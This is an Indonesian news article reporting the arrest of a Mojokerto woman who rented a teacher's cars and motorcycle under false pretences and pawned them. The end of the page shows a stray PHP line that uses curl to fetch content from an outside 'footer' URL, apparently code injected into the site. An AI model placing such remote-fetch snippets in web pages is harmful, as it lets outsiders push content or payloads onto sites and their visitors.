Heni Aftaria (37), Warga Pacet Selatan, Mojokerto di Tangkap Polisi Gelapkan 2 Unit Mobil Milik Guru

Kamis, 26 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Satreskrim Polres Mojokerto Tangkap Pelaku Penipuan dan Penggelapan 2 Unit Mobil Milik Guru SDN Bening

Kota Mojokerto | jejakkasus.info – Satreskrim Polres Mojokerto berhasil menangkap Heni Aftaria (37), seorang karyawan swasta asal Pacet Selatan, yang terlibat dalam kasus penipuan dan penggelapan penyewaan kendaraan fiktif.

Tim Jatanras Polres Mojokerto mengamankan Heni di sebuah rumah kos di Kecamatan Gondang, Kabupaten Mojokerto, Jatim pada tanggal 20 September 2024.

Kepada Media Kasat Reskrim Polres Mojokerto, AKP Nova Indra Pratama, menjelaskan bahwa kasus penipuan ini terjadi antara Maret hingga April 2024. Heni menggunakan kedekatannya dengan Basuki (54), seorang guru SD Negeri Bening, untuk menyewa beberapa kendaraan milik korban, termasuk mobil Toyota Avanza, Daihatsu Pickup, dan sepeda motor Honda Scoopy. Namun, kendaraan-kendaraan tersebut digadaikan oleh Heni tanpa sepengetahuan korban.

Baca Juga:  Aktifis KNPB Penyebar Informasi Bohong Dan Provokatif di Tangkap

“Heni menawarkan sewa harian sebesar Rp. 300.000,- untuk mobil Avanza, tetapi malah menggadaikan mobil-mobil tersebut dan mendapatkan uang sebesar Rp. 55 juta,” jelas AKP Nova Indra Pratama.

Baca Juga:  Kasdam IV/Diponegoro Bersama Forkopimda Jateng Laksanakan Upacara Peringatan Hari Pahlawan Ke-76

Akibat penipuan tersebut, korban mengalami kerugian hingga Rp. 400 juta. Merasa dirugikan, Basuki melaporkan kejadian ini ke Polres Mojokerto melalui Laporan Polisi Nomor LP/B/107/VIII/2024/SPKT/POLRES MOJOKERTO/POLDA JAWA TIMUR pada 20 Agustus 2024.

Setelah melakukan serangkaian penyelidikan, polisi berhasil menemukan keberadaan Heni dan melakukan penangkapan. Selain itu, polisi juga mengamankan beberapa barang bukti, termasuk satu unit mobil Toyota Avanza, satu unit mobil Daihatsu Pickup, dan satu unit sepeda motor Honda Scoopy, lengkap dengan STNK dan kunci kontak. (Red)

Baca Juga:  Door To Door, Polresta Banyumas Salurkan Bansos Dana Sekolah  Dan Sembako

Kasus ini dikenakan Pasal 378 KUHP tentang penipuan dan Pasal 372 KUHP tentang penggelapan, dengan ancaman hukuman penjara maksimal empat tahun. Saat ini, Heni ditahan di Polres Mojokerto untuk menjalani proses penyelidikan lebih lanjut. (Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>